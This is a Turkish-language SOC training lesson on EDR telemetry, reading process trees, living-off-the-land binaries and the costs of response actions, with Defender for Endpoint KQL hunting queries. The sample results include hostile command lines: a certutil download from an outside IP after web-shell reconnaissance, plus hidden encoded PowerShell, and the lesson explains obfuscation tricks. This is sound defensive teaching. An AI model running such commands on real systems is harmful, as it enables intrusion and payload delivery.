Aşama 6: SOC · Ders 6.8
Uç nokta tespiti: EDR verisi, süreç ağaçları, sistemin kendi araçlarıyla saldırı
Bir EDR uyarısının süreç ağacını, komut satırlarını ve telemetri tablolarını okuyup sistemin kendi araçlarının kötüye kullanılıp kullanılmadığına karar verebilir, hangi müdahale eyleminin hangi bedelle seçileceğini gerekçesiyle söyleyebilirsiniz.
Ağdaki kanıt size iki makinenin konuştuğunu söyler; hangi programın konuştuğunu, onu kimin başlattığını ve diske ne bıraktığını söylemez. Bu soruların cevabı uç noktadadır (endpoint): kullanıcı bilgisayarında ve sunucuda. Windows 1 dersinde süreçleri ve süreç ağacını, Windows 2 dersinde olay günlüğünü ve Sysmon'u gördünüz; burada aynı bilgiyi sürekli toplayan, saklayan, üstüne uyarı üreten ve uzaktan müdahale ettiren ürün sınıfını, EDR'ı öğreneceksiniz. Bir üründeki telemetri tablolarını alan alan okuyacak, bir uyarının süreç ağacına beş soru soracak, saldırganların neden kendi araçlarını getirmek yerine Windows'un araçlarını kullandığını ve bunun kayıtta nasıl göründüğünü tanıyacak, son olarak hostu yalıtmanın, süreci öldürmenin ve dosyayı karantinaya almanın bedelini tartacaksınız.
Antivirüs, Sysmon ve EDR: üç ayrı iş
Üç araç da uç noktada çalışır ve üçü de süreçlere bakar, bu yüzden sık karıştırılır. Farkı, sordukları sorudadır.
- Antivirüs (antivirus, AV) tek bir soruya cevap verir: bu dosya ya da bu içerik zararlı mı? İmzalara (signature), sezgisel kurallara ve bulut itibarına bakar, karar anında verir, zararlıysa engeller ya da karantinaya alır. Karar verdikten sonra olanı hatırlaması gerekmez.
- Sysmon, Windows 2 dersinde gördüğünüz gibi, olayları kaydeder: süreç oluşturma, ağ bağlantısı, dosya yazma. Analiz etmez, uyarı üretmez; yeni sürümlerdeki iki dar kural türü (yürütülebilir dosya yazılmasını ve dosya parçalamayı engelleyen 27 ve 28 numaralı olaylar) dışında engellemez de; kayıtları bir SIEM'e taşımak ve orada kural yazmak sizin işinizdir.
- EDR (endpoint detection and response, uç nokta tespiti ve müdahalesi) her ikisinin eksiğini kapatır. Bir algılayıcı (sensor) süreç, ağ, dosya, kayıt defteri ve betik olaylarını sürekli toplar, ürünün bulut arka ucuna gönderir; orada davranış kuralları ve modeller uyarı üretir, telemetri saklanır ve geriye dönük sorgulanabilir, analist de konsoldan hostu yalıtabilir, süreci durdurabilir, dosyayı karantinaya alabilir.
Pratik farkı bir örnekle görün. Saldırgan Microsoft imzalı rundll32.exe ile kullanıcının profil klasöründeki bir DLL'i çalıştırıyor. Antivirüs DLL'i tanımıyorsa sessiz kalır; rundll32.exe de temiz bir dosyadır. Sysmon olayı kaydeder ama kimse bakmazsa orada durur. EDR ise davranışa bakar: Word'den doğan bir komut yorumlayıcısının ardından profil klasöründen DLL yükleyen ve dışarıya bağlanan bir rundll32 zinciri, dosyaların hiçbiri bilinmese de uyarı üretir.
Sınavlar bu ayrımı sorar: AV dosyayı yargılar, EDR davranışı kaydeder ve yargılar, Sysmon kaydeder ama yargılamaz. XDR (extended detection and response) aynı yaklaşımı e-posta, kimlik, bulut ve ağ verisini de içine alarak genişletir; bu dersteki tablolar bir XDR ürününün uç nokta parçasıdır.
EDR neyi toplar?
Ürünler farklı adlar kullanır ama topladıkları olay aileleri aynıdır. Her ailede ortak bir çekirdek vardır: olayı hangi süreç yaptı (initiating process), o süreç hangi kullanıcıyla, hangi komut satırıyla, hangi ebeveynden doğdu.
- Süreç olayları: her yeni süreç; dosya adı ve yolu, hash'i, komut satırı, ebeveyni, kullanıcısı, bütünlük düzeyi (integrity level). Uyarıların çoğu buradan doğar.
- Ağ olayları: hangi sürecin hangi uzak adrese, hangi porta bağlandığı, bağlantının kurulup kurulmadığı. NetFlow'un söylemediği şeyi, yani bağlantıyı açan programı söyler.
- Dosya olayları: oluşturma, değiştirme, yeniden adlandırma, silme; indirilen dosyanın geldiği adres de kaydedilebilir.
- Kayıt defteri olayları (registry): anahtar ve değer oluşturma, değiştirme, silme; kalıcılık yerlerinde (Run anahtarları, servisler) değişikliği yakalar.
- Modül yükleme olayları (image load): bir sürecin hangi DLL'i yüklediği. Meşru bir sürecin içine olağan dışı bir yoldan DLL yüklenmesini gösterir.
- Betik ve AMSI telemetrisi: PowerShell, Windows Script Host (wscript.exe, cscript.exe), JavaScript ve VBScript motorları ile Office VBA makroları, yürütecekleri içeriği AMSI (Antimalware Scan Interface, kötü amaçlı yazılım tarama arayüzü) üzerinden güvenlik ürününe gönderir. Önemli olan şudur: betik ne kadar katmanlı kodlanmış olursa olsun, motora sonunda açık metin olarak verilmek zorundadır ve AMSI o anki açık metni görür. Komut satırında anlamsız bir Base64 dizisi görürken AMSI kaydında çözülmüş komutu okursunuz.
Bunlara oturum açma olayları ve güvenlik denetimlerinin kendi olayları (antivirüs tespiti, istismar koruması) eklenir. Sysmon da bu ailelerin çoğunu kaydedebilir; farkı, EDR'ın bunları varsayılan olarak, merkezde, sorgulanabilir ve müdahale edilebilir biçimde tutmasıdır.
Dikkat: EDR de bir yazılımdır ve saldırganın hedefidir. Yönetici yetkisi ele geçiren saldırgan algılayıcıyı durdurmaya, yapılandırmasını bozmaya ya da telemetrinin gidişini kesmeye çalışır: ATT&CK v20'de T1685 Disable or Modify Tools (eski kimliğiyle T1562.001), taktiği Defense Impairment (TA0112). Bir hostun konsola veri göndermeyi aniden kesmesi kendi başına bir uyarıdır.
Bir üründe telemetri: Defender for Endpoint tabloları
Soyut kalmamak için tek bir ürünü örnek alıyoruz: Microsoft Defender for Endpoint. Telemetrisi, Defender portalındaki gelişmiş av (advanced hunting) bölümünde KQL ile sorgulanan tablolarda durur. SIEM 2 dersinde KQL'i gördünüz; burada tabloları tanıyacaksınız.
DeviceProcessEvents: süreç oluşturma ve ilişkili olaylar.DeviceNetworkEvents: ağ bağlantıları.DeviceFileEvents: dosya oluşturma, değiştirme ve diğer dosya sistemi olayları.DeviceRegistryEvents: kayıt defteri girdilerinin oluşturulması ve değiştirilmesi.DeviceImageLoadEvents(DLL yükleme),DeviceLogonEvents(oturum açma) ve çok sayıda olay türünü toplayanDeviceEvents.
Tabloların hepsinde aynı mantık vardır ve onu bir kez kavramak yeterlidir. ActionType olayın türünü söyler. InitiatingProcess ile başlayan alanlar olayı yapan süreci anlatır: InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName. Süreç tablosunda ayrıca doğan süreç vardır: FileName, FolderPath, ProcessCommandLine, ProcessIntegrityLevel. Yani süreç tablosunun tek satırında ebeveyn ile çocuk yan yanadır; bir üst kuşak için de InitiatingProcessParentFileName alanı bulunur.
Bu yapı yatay geçişi (pivot) kolaylaştırır. Şüpheli bir PowerShell'i süreç tablosunda bulduğunuzda, ağ ve dosya tablolarında InitiatingProcessId ve InitiatingProcessCreationTime aynı olan satırları ararsınız: bu süreç nereye bağlandı, neyi yazdı? PID tek başına yetmez, çünkü Windows PID'leri yeniden kullanır; zaman damgasıyla birlikte ya da ürünün verdiği tekil süreç kimliğiyle eşlenir: süreç tablosundaki ProcessUniqueId, öteki tablolarda InitiatingProcessUniqueId olarak görünür.
Microsoft'un belgesine göre Defender for Endpoint verisi portalda 180 gün saklanır, ama gelişmiş avda sorguyla yalnız son 30 güne erişilir; daha eski bir olayı sorguyla aramak gerekiyorsa veri önceden bir SIEM'e aktarılmış olmalıdır. Başka ürünlerin şemalarında adlar değişir ama sorular aynıdır.
Süreç ağacını okumak: beş soru
Bir EDR uyarısı açıldığında ilk ekran neredeyse her zaman süreç ağacıdır (process tree). Ağaç bir hikâye anlatır ve onu beş soruyla okursunuz.
- 1. Kim kimi doğurdu? Ebeveyn ile çocuk birbirine uyuyor mu? Bir belge düzenleyicinin (
WINWORD.EXE,EXCEL.EXE) komut yorumlayıcısı doğurması, bir servisin tarayıcı açması, IIS'in işçi süreciw3wp.exe'nincmd.exebaşlatması olağan iş akışında görülmez. - 2. Komut satırı ne diyor? Kodlanmış PowerShell (
-enc,-EncodedCommand), gizli pencere (-w hidden), bir web adresinden içerik alıp belleğe yükleyerek çalıştıran yapı (download cradle), garip karakterlerle bölünmüş sözcükler. Bunları Derinlemesine bölümünde tek tek göreceğiz. - 3. Hangi kullanıcıyla, hangi bütünlük düzeyinde? Kullanıcı oturumunda Medium olağandır; aynı komut High ya da System düzeyinde çalışıyorsa saldırgan yetki yükseltmiştir ya da bir servisin içindedir.
- 4. Dosya imzalı mı, yolu doğru mu?
svchost.exeadlı bir dosyaC:\Windows\System32dışında, örneğinC:\Users\Publicaltında duruyorsa ad bir kılıktır (Windows 1 dersindeki T1036.005). İmza tek başına aklamaz: LOLBin'lerin hepsi Microsoft imzalıdır. - 5. Sonra ne oldu? Çocuk süreç ağa bağlandı mı, diske dosya yazdı mı, kayıt defterinde bir Run anahtarı mı değiştirdi, başka bir süreç mi doğurdu?
Bir örnek: OUTLOOK.EXE altında WINWORD.EXE bir .docm belgesi açıyor; Word'ün altında cmd.exe /c powershell -nop -w hidden -enc ... beliriyor; PowerShell 203.0.113.45 adresinin 443 numaralı portuna bağlanıyor ve kullanıcının AppData\Roaming klasörüne bir DLL yazıyor; ardından rundll32.exe o DLL'i çalıştırıyor. Beş sorunun her biri bir uyarı işareti verir: ebeveyn yanlış, komut satırı gizlenmiş, yol kullanıcının yazabildiği bir klasör, sonrasında ağ ve dosya hareketi. Bu, makrolu ekle gelen oltalamanın (T1566.001, T1204.002) ders kitabı zinciridir ve Oltalama analizi dersinin e-postada başlattığı hikâyenin uç noktadaki devamıdır.
Ağacın tek bir dalı mahkûm etmez. Yönetim betikleri de -enc kullanır, yazılım dağıtım araçları da servis altından cmd.exe açar. Karar, işaretlerin birlikte görülmesinden ve bu host ile bu kullanıcı için neyin olağan olduğunu bilmekten çıkar.
Sistemin kendi araçlarıyla saldırı (living off the land)
Saldırgan diske kendi aracını bıraktığında risk alır: dosyanın hash'i bilinir, imzasızdır, antivirüs onu tanıyabilir. Bunun yerine işletim sisteminde zaten bulunan, Microsoft imzalı, yöneticilerin her gün kullandığı araçları kullanırsa bu risklerin çoğu ortadan kalkar. Buna arazide yaşamak (living off the land), bu amaçla kullanılan programlara da LOLBin (living off the land binary) denir; betikler ve kitaplıklarla birlikte LOLBAS diye anılır.
Saldırganın kazancı üç başlıktadır: araç zaten oradadır (indirme izi yoktur), imzalıdır (uygulama denetimi ve itibar kontrolleri ona izin verir), meşru kullanımı yaygındır (gürültünün içinde kaybolur). ATT&CK bu davranışın büyük kısmını T1218 System Binary Proxy Execution altında toplar: imzalı bir sistem programı başka bir kodu çalıştırmak için vekil olarak kullanılır. Taktiği v20'de Stealth (TA0005) olarak geçer.
Savunmacının başvuru kaynağı LOLBAS projesidir (lolbas-project.github.io): Windows'taki her aracı, kötüye kullanılabilen işlevleriyle (indirme, çalıştırma, kodlama çözme, uygulama denetimini aşma) ve ATT&CK eşlemesiyle listeler. Linux için karşılığı GTFOBins'tir. Analist bu listeyi saldırı tarifi olarak değil, 'bu araç bu komut satırıyla neden çalışmış olabilir' sorusunun cevabı olarak kullanır.
Bir analistin görür görmez tanıması gereken araçlar şunlardır; her birinin telemetrideki kötüye kullanım izi Derinlemesine bölümündeki tabloda:
powershell.exe: her şeyi yapabilen betik ortamı (T1059.001).rundll32.exe,regsvr32.exe,mshta.exe: başka bir kodu, DLL'i ya da betiği çalıştıran vekiller (T1218.011, T1218.010, T1218.005).certutil.exe,bitsadmin.exe: dosya indirme ve kodlama çözme için kötüye kullanılan yönetim araçları (T1105, T1140, T1197).wmic.exe: yerel ya da uzak makinede süreç başlatabilen WMI istemcisi (T1047).schtasks.exe: zamanlanmış görevle kalıcılık ve yetkili çalıştırma (T1053.005).
LOLBin tespitinde kural şudur: aracın adına değil, bağlamına bakın. Ebeveyni kim, komut satırında hangi parametre var, hangi yoldan dosya okuyor, ağa bağlanıyor mu, bu host ve bu kullanıcı bu aracı daha önce hiç kullanmış mı? certutil.exe bir sertifika yöneticisinin makinesinde olağandır; bir muhasebe çalışanının makinesinde, Excel'in altında, bir web adresiyle çalışıyorsa olağan değildir.
Müdahale eylemleri ve bedelleri
EDR'ın 'response' yarısı, analistin konsoldan hosta dokunabilmesidir. Defender for Endpoint'te cihaz sayfasındaki eylemler arasında yalıtım (isolate device), inceleme paketi toplama (collect investigation package), antivirüs taraması, uygulama çalıştırmayı kısıtlama (restrict app execution) ve canlı yanıt oturumu (live response) bulunur; dosya sayfasında ise durdur ve karantinaya al (stop and quarantine file) ile engelleme göstergesi ekleme vardır. Her eylemin bir bedeli vardır ve seçim bu bedele göre yapılır.
- Hostu yalıtmak (isolate host): cihazın ağ bağlantısı kesilir, yalnız EDR hizmetiyle bağlantısı kalır; analist izlemeye ve inceleme yapmaya devam eder. Saldırganın komuta kontrol kanalını ve yanal hareketini keser. Bedeli: kullanıcı çalışamaz, bir sunucuysa hizmet durur.
- Süreci sonlandırmak (kill process): çalışan zararlı süreci durdurur. Bedeli: süreçle birlikte bellekteki kanıt kaybolur ve saldırgan fark ettiği anda başka bir yoldan dönebilir. Kalıcılığı silinmemişse süreç bir sonraki oturum açmada yeniden doğar.
- Dosyayı karantinaya almak (quarantine file): dosyayı kullanılmaz bir yere taşır; Defender for Endpoint'in eylemi çalışan süreçleri de durdurur ve kayıt defteri anahtarı gibi kalıcı verileri siler. Karantinadaki dosya geri yüklenebilir. Bedeli: yanlış dosyaysa bir iş uygulaması bozulur.
- İnceleme paketi toplamak (collect investigation package): cihazın o anki durumunu bir zip dosyasında toplar: çalışan süreçler, ağ bağlantıları, zamanlanmış görevler, servisler, otomatik başlangıç yerleri, Security günlüğü ve daha fazlası. Bedeli düşüktür ama zaman alır; durum değiştikten sonra toplanan paket artık o durumu göstermez.
Sıra önemlidir ve olay müdahalesinde kanıtın uçuculuğu ilkesinden gelir: önce topla, sonra yok et. Saldırı sürüyorsa ve veri dışarı çıkıyorsa önce yalıtın (yalıtım kanıtı silmez, yalnız ağı keser), sonra inceleme paketini ve gerekirse bellek görüntüsünü alın, en son süreci öldürün ve dosyayı karantinaya alın. Hangi eylemi kimin onayıyla yapacağınız playbook'ta yazar; özellikle bir sunucuyu yalıtmak çoğu kurumda sistem sahibinin bilgisi olmadan yapılmaz. Olay müdahalesinin tamamı ileride kendi dersinde gelecek; burada eylemlerin ne yaptığını ve neye mal olduğunu bilmeniz yeterlidir.
Akılda kalsın
- Antivirüs dosyayı yargılar, Sysmon kaydeder ama analiz etmez ve uyarı üretmez, EDR süreç, ağ, dosya, kayıt defteri, modül ve betik (AMSI) olaylarını sürekli toplar, merkezde saklar, davranıştan uyarı üretir ve uzaktan müdahale ettirir.
- Defender for Endpoint tablolarında olayı yapan süreç
InitiatingProcessönekli alanlardadır; süreç tablosunda doğan süreçFileName,FolderPath,ProcessCommandLineveProcessIntegrityLevelalanlarındadır, yani ebeveyn ve çocuk aynı satırdadır. - Süreç ağacına beş soru sorulur: kim kimi doğurdu, komut satırı ne diyor, hangi kullanıcı ve bütünlük düzeyi, dosya imzalı ve yolu doğru mu, sonra ağda, diskte ve kayıt defterinde ne oldu.
- LOLBin'ler (powershell, rundll32, regsvr32, mshta, certutil, bitsadmin, wmic, schtasks) Microsoft imzalı ve zaten yüklü oldukları için seçilir; tespit adlarına değil bağlamlarına (ebeveyn, parametre, yol, ağ bağlantısı) bakılarak yapılır, başvuru kaynağı LOLBAS projesidir.
- Müdahalede sıra önce yalıt, sonra kanıt topla, en son süreci öldür ve dosyayı karantinaya al; her eylemin bedeli vardır ve Defender for Endpoint Microsoft imzalı bir dosyayı karantinaya alamaz.
Terimler
| Türkçe | English | Anlamı |
|---|---|---|
| Uç nokta | Endpoint | Ağa bağlı kullanıcı bilgisayarı, sunucu ya da mobil cihaz; EDR algılayıcısının çalıştığı yer. |
| Uç nokta tespiti ve müdahalesi | EDR (endpoint detection and response) | Uç noktadaki davranışı sürekli kaydeden, merkezde saklayan, uyarı üreten ve uzaktan müdahale ettiren ürün sınıfı. |
| Genişletilmiş tespit ve müdahale | XDR (extended detection and response) | EDR yaklaşımını e-posta, kimlik, bulut ve ağ verisiyle birleştiren ürün sınıfı. |
| Algılayıcı | Sensor | Uç noktada çalışıp olayları toplayan ve ürünün arka ucuna gönderen EDR bileşeni. |
| Telemetri | Telemetry | Algılayıcının topladığı olay verisinin bütünü: süreç, ağ, dosya, kayıt defteri, modül, betik. |
| Süreç ağacı | Process tree | Süreçlerin ebeveyn ve çocuk ilişkisini gösteren ağaç; bir uyarının hikâyesi. |
| Başlatan süreç | Initiating process | Bir olayı yapan süreç; Defender for Endpoint'te InitiatingProcess önekli alanlarda anlatılır. |
| Bütünlük düzeyi | Integrity level | Windows'un sürece verdiği güven düzeyi: Low, Medium, High, System. |
| Kötü amaçlı yazılım tarama arayüzü | AMSI (Antimalware Scan Interface) | Betik motorlarının yürütecekleri açık içeriği güvenlik ürününe tarattığı Windows arayüzü. |
| Modül yükleme | Image load | Bir sürecin bir DLL'i belleğine yüklemesi; EDR'ın kaydettiği olay ailelerinden biri. |
| Arazide yaşamak | Living off the land | Saldırganın kendi aracını getirmek yerine işletim sisteminde bulunan meşru araçları kullanması. |
| LOLBin | Living off the land binary | Kötüye kullanılabilen, işletim sistemiyle gelen imzalı program; rundll32, certutil, mshta gibi. |
| Vekil yürütme | System binary proxy execution | İmzalı bir sistem programının başka bir kodu çalıştırmak için aracı olarak kullanılması (T1218). |
| İndirip çalıştırma yapısı | Download cradle | İçeriği bir web adresinden alıp diske yazmadan bellekte çalıştıran komut kalıbı. |
| Karartma | Obfuscation | Komutu ya da betiği okunmaz hale getirerek imza ve gözle incelemeden kaçırma (T1027.010). |
| Kılık değiştirme | Masquerading | Zararlı dosyaya meşru bir sistem dosyasının adını ya da yerini andıran ad vermek (T1036). |
| Web kabuğu | Web shell | Web sunucusuna yerleştirilip HTTP üzerinden komut çalıştırmayı sağlayan betik (T1505.003). |
| Yalıtım | Host isolation | Cihazın ağ bağlantısını keserken EDR hizmetiyle bağlantısını koruyan müdahale eylemi. |
| Seçici yalıtım | Selective isolation | Yalıtılan cihazda belirli süreç ve hedeflere (örneğin Outlook, Teams) izin veren yalıtım. |
| Karantina | Quarantine | Dosyanın çalıştırılamaz bir yere taşınması; geri yüklenebilir. |
| İnceleme paketi | Investigation package | Cihazın o anki süreç, ağ, görev, servis ve günlük durumunu toplayan zip dosyası. |
| Gelişmiş av | Advanced hunting | Defender portalında telemetri tablolarının KQL ile sorgulandığı bölüm. |
Kaynaklar ve sınav konuları
- CompTIA CySA+ CS0-004 1.2: Given a scenario, analyze indicators of potential malicious activity (Host-related indicators: Suspicious or rogue processes; Living Off the Land Binaries (LOLBins) and Scripts; File system changes)
- CompTIA CySA+ CS0-004 1.3: Given a scenario, use tools to determine malicious activity (Endpoint security: Endpoint detection and response (EDR) and extended detection and response (XDR); Pattern recognition: Interpreting suspicious commands)
- CompTIA CySA+ CS0-004 3.3: Given a scenario, implement incident response techniques (Isolating affected targets; Evidence gathering; Release from isolation)
- CompTIA Security+ SY0-801 4.1 (taslak hedef listesi): Given a scenario, apply mitigating controls, techniques, and solutions to secure the environment (Endpoint security: EDR, XDR, Antivirus; Application control)
- CompTIA Security+ SY0-801 2.5 (taslak hedef listesi): Given a scenario, analyze indicators of malicious activity (Fileless malware; Indicators of compromise: Malicious processes, File system artifacts)
- CompTIA Security+ SY0-801 4.7 (taslak hedef listesi): Summarize concepts associated with incident response activities (Containment: Quarantine/isolation)
- MITRE ATT&CK v20: T1218 ve alt teknikleri .005, .010, .011; T1059.001, T1059.003, T1047, T1053.005, T1197, T1105, T1140, T1027.010, T1036.003, T1036.004, T1036.005, T1505.003, T1685 (eski kimliğiyle T1562.001)
Bu dersteki bilgiler şu asıl kaynaklarla denetlendi:
- Microsoft Learn: DeviceProcessEvents table in the advanced hunting schema
- Microsoft Learn: Microsoft Defender for Endpoint data storage and privacy (data retention)
- Microsoft Learn: Take response actions on a device in Microsoft Defender for Endpoint
- Microsoft Learn: Take response actions on a file in Microsoft Defender for Endpoint
- Microsoft Learn: Antimalware Scan Interface (AMSI)
- Microsoft Learn: Use eBPF-based sensor for Microsoft Defender for Endpoint on Linux
- LOLBAS: Living Off The Land Binaries, Scripts and Libraries
- MITRE ATT&CK: T1218 System Binary Proxy Execution
Bu bölüm sınavın ve işin istediği ayrıntıdır: alanlar, sayılar, uç durumlar. Bir başlığa dokunarak açıp kapatabilirsiniz.
Dört tablo, alan alan
Aşağıdaki alanlar Microsoft Learn'deki şema sayfalarındaki adlarıyla verilmiştir. Bir uyarıyı incelerken en çok bunlara bakarsınız. ActionType değerlerinin tam listesi Learn sayfalarında değil, Defender portalındaki şema başvurusundadır. Microsoft'un kendi örnek sorgularında geçen birkaç değer örnek olarak şunlardır: süreç tablosunda ProcessCreated, ağ tablosunda ConnectionSuccess ve ConnectionFailed, dosya tablosunda FileCreated, FileModified ve FileRenamed, kayıt defteri tablosunda RegistryValueSet.
Dikkat edilecek iki ayrıntı Microsoft'un kendi notlarındandır. Birincisi, SHA256 sütunu çoğu zaman boştur; belge SHA1 kullanılmasını önerir. İkincisi, süreç tablosundaki InitiatingProcessSignerType ve InitiatingProcessSignatureStatus alanları başlatan sürecin imzasını anlatır, yeni doğan sürecin değil; doğan sürecin imzası için SHA1 üzerinden DeviceFileCertificateInfo tablosuyla birleştirme (join) yapılır. ProcessVersionInfo alanları sürüm bilgisidir, imza bilgisi değildir.
| Tablo | Alan | Ne söyler |
|---|---|---|
| DeviceProcessEvents | FileName, FolderPath, SHA1 | Doğan sürecin dosyası, yolu ve hash'i |
| DeviceProcessEvents | ProcessCommandLine | Doğan sürecin komut satırı |
| DeviceProcessEvents | ProcessIntegrityLevel, ProcessTokenElevation | Bütünlük düzeyi ve belirteç yükseltme türü (TokenElevationTypeFull, Default, Limited) |
| DeviceProcessEvents | ProcessVersionInfoOriginalFileName | Dosyanın sürüm bilgisindeki asıl adı; yeniden adlandırılmış aracı ele verir |
| DeviceProcessEvents | AccountDomain, AccountName, LogonId | Doğan sürecin hesabı ve oturumu |
| Hepsi | InitiatingProcessFileName, InitiatingProcessCommandLine | Olayı yapan süreç ve komut satırı (süreç tablosunda ebeveyn) |
| Hepsi | InitiatingProcessParentFileName | Olayı yapan sürecin ebeveyni (bir kuşak yukarısı) |
| Hepsi | InitiatingProcessAccountName, InitiatingProcessIntegrityLevel | Olayı yapan sürecin hesabı ve bütünlük düzeyi |
| DeviceNetworkEvents | RemoteIP, RemotePort, RemoteUrl | Bağlanılan uzak adres, port ve alan adı |
| DeviceNetworkEvents | LocalIP, LocalPort, Protocol, RemoteIPType | Yerel uç, protokol, uzak adresin türü (Public, Private, Loopback) |
| DeviceFileEvents | FileName, FolderPath, SHA1 | Yazılan ya da değiştirilen dosya |
| DeviceFileEvents | FileOriginUrl, FileOriginReferrerUrl, FileOriginIP | İndirilen dosyanın geldiği adres ve onu bağlayan sayfa |
| DeviceFileEvents | PreviousFileName, PreviousFolderPath | Yeniden adlandırma ya da taşımadan önceki ad ve yer |
| DeviceRegistryEvents | RegistryKey, RegistryValueName, RegistryValueData | Değişen anahtar, değer adı ve yeni veri |
| DeviceRegistryEvents | PreviousRegistryValueData | Değişiklikten önceki veri |
Dikkat: Sık yapılan hata: ağ, dosya ya da kayıt defteri tablosunda FileName alanını arayıp 'olayı yapan süreç' sanmak. Bu tablolarda olayı yapan süreç her zaman InitiatingProcess önekli alanlardadır; dosya tablosundaki FileName yazılan dosyanın adıdır.
Bir uyarıyı sorguyla genişletmek
Uyarı: WEB-01 adlı IIS sunucusunda w3wp.exe bir komut yorumlayıcısı başlatmış. IIS'in işçi süreci web isteklerine cevap verir; komut satırı açması için sebep yoktur. Bu zincir, saldırganın sunucuya yerleştirdiği bir web kabuğunun (web shell) tipik izidir: T1505.003 Web Shell, taktiği Persistence (TA0003). İlk sorgu, aynı ebeveynin son bir haftada başka neler doğurduğunu gösterir.
Sonuçta okunacak sıra: önce zaman (ilk komut ne zaman?), sonra komut satırları (keşif mi, indirme mi, kalıcılık mı?), sonra hesap ve bütünlük düzeyi. Aşağıdaki örnek sonuçta önce whoami ve net group ile keşif yapılmış, ardından certutil ile dışarıdan bir dosya indirilmiştir. Uygulama havuzunun kimliği IIS APPPOOL\... biçiminde görünür.
İkinci sorgu yatay geçiştir: aynı sunucuda certutil.exe'nin açtığı bağlantılar. Ağ tablosunda olayı yapan süreç InitiatingProcessFileName alanındadır. Bağlantı başarılıysa (ConnectionSuccess) dosya büyük olasılıkla indi; dosya tablosunda aynı süreçle FileCreated aranır. Bu sırada sistem sahibine haber verilir.
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName =~ "w3wp.exe"
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "certutil.exe")
| project Timestamp, DeviceName, AccountName, ProcessIntegrityLevel, FileName, ProcessCommandLine
| order by Timestamp asc
Timestamp DeviceName AccountName ProcessIntegrityLevel FileName ProcessCommandLine
2026-11-14 02:11:07 web-01.example.com DefaultAppPool High cmd.exe cmd.exe /c whoami
2026-11-14 02:11:31 web-01.example.com DefaultAppPool High cmd.exe cmd.exe /c net group "Domain Admins" /domain
2026-11-14 02:14:52 web-01.example.com DefaultAppPool High certutil.exe certutil.exe -urlcache -f http://198.51.100.23/t.dat ...
DeviceNetworkEvents
| where DeviceName == "web-01.example.com"
| where InitiatingProcessFileName =~ "certutil.exe"
| project Timestamp, ActionType, RemoteIP, RemotePort, RemoteUrl
Timestamp ActionType RemoteIP RemotePort RemoteUrl
2026-11-14 02:14:53 ConnectionSuccess 198.51.100.23 80Dikkat: AccountName sütununda bir uygulama havuzu adı görmek normaldir; IIS işçi süreçleri sanal bir hesapla çalışır. Önemli olan, bu hesabın komut satırı açmasıdır. Keşif komutlarının (whoami, net group) saatine dikkat edin: gece 02.00'de bir web uygulamasının 'Domain Admins' grubunu sorması bir kişinin elle çalıştığını düşündürür.
Ebeveyn ve çocuk: olağan dışı zincirler
Windows 1 dersindeki şüpheli zincirleri burada EDR'ın gözüyle tamamlıyoruz. Tablonun sağ sütunu, aynı zincirin meşru bir açıklamasının ne olabileceğini söyler; yanlış alarmı ayıklamak bu sütunla yapılır.
Windows 1'deki ters yön kuralı burada da geçerlidir; EDR'da buna ATT&CK kimliği eklenir: içine kod enjekte edilmiş bir sistem süreci T1055 Process Injection olarak geçer. wmiprvse.exe altında bir komut yorumlayıcısı ise o makinede WMI ile bir süreç başlatıldığını, çoğu zaman da uzaktan başlatıldığını gösterir (T1047).
| Ebeveyn | Çocuk | Neyi düşündürür | Meşru açıklama olabilir mi |
|---|---|---|---|
| WINWORD.EXE, EXCEL.EXE, POWERPNT.EXE | cmd.exe, powershell.exe, mshta.exe, wscript.exe | Makrolu belge (T1204.002, T1059) | Çok nadir; bazı eski Excel eklentileri |
| OUTLOOK.EXE | powershell.exe, mshta.exe | Ekten ya da bağlantıdan çalışan betik | Neredeyse hiç |
| w3wp.exe, httpd.exe, tomcat | cmd.exe, powershell.exe | Web kabuğu (T1505.003) | Uygulama kendi aracını çağırıyorsa; komut satırı bilinen bir araç olmalı |
| sqlservr.exe | cmd.exe | SQL Server üzerinden komut çalıştırma (xp_cmdshell) | Eski bakım işleri; belgelenmiş olmalı |
| services.exe | cmd.exe /c ... | Servis olarak çalıştırma (T1569.002) | Yazılım dağıtım ve uzaktan yönetim araçları |
| wmiprvse.exe | powershell.exe, cmd.exe | WMI ile uzaktan süreç başlatma (T1047) | Yönetim araçları; kaynak makine bilinmeli |
| services.exe, svchost.exe | chrome.exe, msedge.exe | Taklit süreç ya da enjeksiyon | Hemen hiç |
| mshta.exe, rundll32.exe, regsvr32.exe | powershell.exe, cmd.exe | Vekil programın başlattığı ikinci aşama (T1218) | Çok nadir |
Dikkat: Ebeveyn süreç çoktan kapanmış olabilir. EDR konsolu ağacı geçmiş olaylardan kurduğu için kapanmış ebeveyni de gösterir; canlı bir makinede ise yalnız ebeveynin PID'sini görürsünüz ve o PID bu arada başka bir sürece verilmiş olabilir.
Komut satırında karartma işaretleri
Saldırganlar komut satırını, imzaya dayalı kuralların ve gözle okuyanın yakalamaması için karartır (obfuscation). ATT&CK bunu T1027.010 Command Obfuscation olarak, kodlanmış içeriğin çalıştırma anında açılmasını T1140 Deobfuscate/Decode Files or Information olarak anar; ikisi de Stealth taktiğindedir. Analistin tanıması gereken işaretler şunlardır:
- Kodlanmış PowerShell:
-EncodedCommandya da kısaltmaları (-enc,-ec,-e). Ardından gelen Base64 metni UTF-16LE kodlanmış bir komuttur; bu yüzden çözüldüğünde harflerin arasında boş baytlar görünür. Çözmek için CyberChef'te From Base64 ve Decode text (UTF-16LE) adımları yeterlidir. - Gizlilik parametreleri:
-w hidden(pencere gizli),-nop(profil yüklenmez),-noni(etkileşimsiz),-ep bypass(yürütme ilkesi atlanır). Tek başına yönetim betiklerinde de görülür; Office ebeveyniyle birlikte güçlü işarettir. - İndirip bellekte çalıştırma (download cradle): komut satırında bir web istemcisi nesnesi ya da indirme komutu ile ifade çalıştırma komutunun (
Invoke-Expression, kısacaIEX) yan yana durması. Dosya diske hiç yazılmadığı için dosya tablosunda iz kalmayabilir; ağ tablosunda ise PowerShell'in dışarıya bağlantısı görünür. - Karakter oyunları:
cmd.exe'de sözcüklerin arasına şapka işareti (^) serpiştirmek, PowerShell'de ters tırnak (backtick) eklemek, dizeyi parçalara bölüp birleştirmek, büyük küçük harfi karıştırmak, ortam değişkenlerinin içinden harf seçmek. Okunamayan bir komut satırı kendi başına işarettir. - Olağan dışı uzunluk ve iç içe yorumlayıcılar:
cmd.exe /c powershell ...içinde birpowershell -enc ...daha; birkaç yüz karakteri aşan tek satır.
